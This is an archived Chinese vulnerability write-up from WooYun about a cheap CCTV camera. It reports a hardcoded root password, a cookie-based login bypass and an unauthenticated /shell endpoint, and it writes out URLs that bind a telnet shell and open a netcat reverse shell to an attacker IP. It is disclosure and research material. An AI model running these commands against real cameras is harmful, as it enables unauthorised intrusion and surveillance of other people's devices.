# 某CCTV摄像头漏洞分析

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-02-18T03:02:00Z
Canonical: https://wepostx.com/topics/78

> 乌云历史资料归档
>
> **原始作者：** mickey
> **原始编号：** superkieran-wooyundrops:1042
> **原始发布时间：** 2016-02-18 11:02
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 漏洞分析

今天看老外分析了一款廉价CCTV摄像头的文章，地址在[https://www.pentestpartners.com/blog/pwning-cctv-cameras/](https://www.pentestpartners.com/blog/pwning-cctv-cameras/)，摄像头的amazon购买地址是[http://www.amazon.co.uk/dp/B0162AQCO4](http://www.amazon.co.uk/dp/B0162AQCO4)，老外曝光的漏洞主要有四个，分别是默认密码，web登陆认证绕过，内建的webshell，以及发送摄像图片到硬编码的邮箱地址，老外的文章经过我的测试，有错误和不全的地方，我都一一补充在下面了 ：）

### 1. 默认密码
WEB默认登陆名是admin，密码是空。
另外经过破解passwd，发现root的默认密码是"juantech"，可以通过telnet登录直接获取cmdshell，如图1:

![原文图片](/media/2016/06/4c7017de662649f9b55c94f69739c79b)

### 2. WEB认证绕过
当你第一次访问的时候，index.html会要求你输入用户名和密码，输入正确，则跳转到view2.html。如果你直接访问view2.html，会被重定向到index.html，要求你输入帐户信息。下载固件用binwalk解压，如图2：

![原文图片](/media/2016/06/aa1f20efd1d67f0358658dcc77e27c1f)

查看view2.js，发现以下内容：

```text
#!js $(document).ready(function(){ dvr_camcnt = Cookies.get(“dvr_camcnt"); dvr_usr = Cookies.get("dvr_usr"); dvr_pwd = Cookies.get("dvr_pwd"); if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null) { location.href = "/index.html"; }
```
可以看到，如果dvr_camcnt,dvr_usr,dvr_pwd这3个值为空，就会跳转到index.html，所以我们只要将dvr_camcnt,dvr_usr,dvr_pwd设置不为空就可以了，通过查看view2.js源码可以知道,dvr_camcnt其实是控制频道(chanel)的，如下：

```text
#!js function goto_open_all() 80 { 81 if(dvr_viewer && dvr_viewer.ConnectRTMP) 82 { 83 dvr_viewer.SetPlayerNum(dvr_camcnt); 84 // switch(dvr_camcnt) 85 // { 86 // case "4": 87 // dvr_viewer.flSetViewDiv(4); 88 // break; 89 // case "8": 90 // dvr_viewer.flSetViewDiv(9); 91 // break; 92 // case "16": 93 // dvr_viewer.flSetViewDiv(16); 94 // break; 95 // case "24": 96 // dvr_viewer.flSetViewDiv(25); 97 // break; 98 // } 99 open_all(dvr_camcnt); 100 } 101 else 102 { 103 dvr_viewer = $("#viewer")[0]; 104 setTimeout(goto_open_all, 1000); 105 } 106 }
```
原文说dvr_camcnt只能设置2，4，8，24这几个值。实际测试，输入其他值都可以的。绕过登陆认证的证明如图3

![原文图片](/media/2016/06/04da22b6315ed73ddd37f809e8b57a3a)

### 3.内建的webshell
通过查看解压后的固件目录，我们发现dvr_app包含了web服务，使用strings查看dvr_app二进制，可以看到 /moo,/whoami,/shell,/snapshot 等字符，尝试访问，发现没有任何验证就可以访问这些功能，如图4，

![原文图片](/media/2016/06/48c9ba9189bbe2807ad46496720d6fa0)

访问/shell的时候，卡住了，把dvr_app拖入ida，查看shell功能相应的处理逻辑，因为是固件是ARM小端的架构，可以直接在IDA里F5看伪代码。如图5

![原文图片](/media/2016/06/83cbc6e82283785532d499fa09c0e0f4)

这里利用有2个方式，一个是直接telnetd绑定/bin/sh到任意端口，然后telnet连接过去，不需要认证就可以telnet登录，这个利用方式在你不知道固件本身TELNET的账户信息的时候，是个很常见的利用方法。命令如下：

```text
http://目标ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25
```
但是实际测试还要考虑防火墙/NAT的问题，好多设备仅仅映射80出来，你开通的其他端口，虽然设备打开了，但是你连接不上去。如图6.

![原文图片](/media/2016/06/6d337bbe344cf1216a780f39fd641042)

这时候你可以用nc反弹shell出来，估计是因为固件版本不一样，我测试的目标busybox里是自带nc的，所以通过执行

```text
http://目标ip/shell?/bin/busybox nc 我的IP 53 -e /bin/sh
```
就可以获取到反弹的cmdshell了，如图7

![原文图片](/media/2016/06/07b37a4c94aca3dd0ddacb0aee1745eb)

文章说他的固件的busybox没有带nc，所以他静态编译了一个busybox，然后通过wget下载到一个可写的目录，然后赋予busybox可执行权限，最后运行nc命令。他已经提供了编译好的busybox，可以通过http://212.111.43.161/busybox来下载。

### 4.发送摄像图片到硬编码的邮箱地址
通过strings查看dvr_app二进制,还发现了另一处可疑的字符串
.rodata:002260E0 0000005A C [email protected]&subject=Who are you?&content=%s&snapshot=yes&vin=0&size=320x180
[email protected]",找到了https://github.com/simonjiuan/ipc/blob/master/src/cgi_misc.c，通过源码可以看到

```text
#!c #define DEFAULT_USER_EMAIL " [email protected] " #define DEFAULT_USER_PASSWORD "dvrhtml" #define DEFAULT_SMTP_SERVER "mail.esee100.com" #define DEAFULT_TARGE_EMAIL " [email protected] "
```
@hdmoore在twitter也提到这个中国邮箱，所以我略微的看了看。目前mail.esee100.com已经不解析了，但是esee100.com的CNMAE解析到了www.dvrskype.com。通过查询www.dvrskype.com的域名信息，[email protected]，如图8，注意这里ORG是"广州市九安光电技术有限公司",而github的上传者也是九安光电技术的技术人员。通过图9可以看到，他会把/whoami的返回信息和CCTV摄像头启动时的拍摄[email protected]，当然现在这个SMTP发送服务器已经不存在了，也有可能是当时开发留下的测试的功能。

# 0x01 全球统计

因为是运行的自定义的web服务器，HTTP服务器头包含明显的“JAWS/1.0”特征，最近sans比较关注国内的漏洞扫描（https://isc.sans.edu/forums/diary/Scanning+for+Fortinet+ssh+backdoor/20635/），所以我就直接用shodan的结果了。如图10

![原文图片](/media/2016/06/c3138624830273e8dfb086375d4bb8ec)

可以看到这款廉价的CCTV摄像头对公网开放的全球大概有42545台，最常用的端口是80/8080，用的最多的国家是土耳其，印度，越南。 ：）
目前应该也有对这个CCTV摄像头的自动化恶意利用了，通过查看几个，发现几台设备的进程里都包含

```text
1560 root 620 S ./dropbear -p 15081 -r /tmp/dropbear/dropbear_rsa_ho
```
以及wget远程下载恶意利用文件。

# 0x02 漏洞防护

目前官方还没有补丁固件，建议不要对外开放80/23等管理端口。

# 0x03 感谢的人

感谢低调的张老师教我逆向知识，张老师的好和善是对我问的幼稚问题都耐心的回答，从来没烦过。

## Replies
